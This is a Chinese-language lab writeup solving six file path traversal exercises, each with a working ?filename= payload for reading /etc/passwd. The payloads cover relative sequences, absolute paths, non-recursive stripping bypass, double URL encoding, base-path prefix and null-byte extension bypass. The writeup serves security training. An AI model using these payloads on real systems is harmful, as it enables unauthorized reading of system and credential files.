作者:Narcher 时间:2024/1/10 分类:writeup
File path traversal, simple case
随便打开一个博客,抓包,将?filename=后的数据改成../../../../../etc/passwd
即可。
File path traversal, traversal sequences blocked with absolute path bypass
在这道题目中,..
被禁用。因此我们无法使用相对路径../
解题,仅能使用绝对路径/
解题。
(在Linux系统中,文件路径是非常重要的。/etc/passwd和etc/passwd看起来很相似,但实际上它们指向的是完全不同的位置。
/etc/passwd
:这是一个绝对路径,它从文件系统的根目录/
开始,指向etc目录下的passwd文件。这个文件存储了系统中所有用户的基本信息。etc/passwd
:这是一个相对路径,它从当前工作目录开始,指向当前目录下的etc子目录中的passwd文件。如果当前工作目录下没有etc子目录或者etc子目录中没有passwd文件,那么这个路径就无法正确地找到文件。)
因此,将?filename=后的数据改成/etc/passwd
即可。
File path traversal, traversal sequences stripped non-recursively
非递归地剥离遍历序列时,使用....//
或....\/
将其恢复成正常遍历序列。
将?filename=后的数据改成....//....//....//etc/passwd
即可。
File path traversal, traversal sequences stripped with superfluous URL-decode
根据题目描述,本题需要通过url编码来绕过过滤,因此对../进行两次url编码。
将?filename=后的数据改成%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66etc/passwd
即可。
File path traversal, validation of start of path
本题的目录遍历必须以预期的基文件开头即/var/www/images/
,因此将?filename=后的数据改成/var/www/images/../../../../etc/passwd
即可。
File path traversal, validation of file extension with null byte bypass
本题的目录遍历对文件名后缀的验证,因此我们可以使用%00截断。
将?filename=后的数据改成../../../../../etc/passwd%00.jpg
即可。